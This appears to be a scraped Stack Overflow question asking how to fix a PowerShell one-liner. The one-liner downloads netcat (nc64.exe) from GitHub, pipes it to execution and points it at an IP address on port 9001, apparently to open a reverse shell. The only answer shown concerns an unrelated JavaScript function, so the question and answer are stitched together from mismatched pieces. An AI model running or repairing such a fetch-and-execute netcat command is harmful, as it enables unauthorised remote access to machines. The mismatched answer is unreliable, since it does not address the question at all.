'How to use Powershell to download and pipe to execution with arguments

I am trying to use powershell to download and execute a file with arguments:

. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001

I get this error:

Unexpected token '9001' in expression or statement.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnexpectedToken

Any help appreciated.



Solution 1:[1]

There is a function called resolve in js. I suggest you do function questionname() {...} instead of calling an arrow function. Also, use another name instead of resolve.

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Hermanboxcar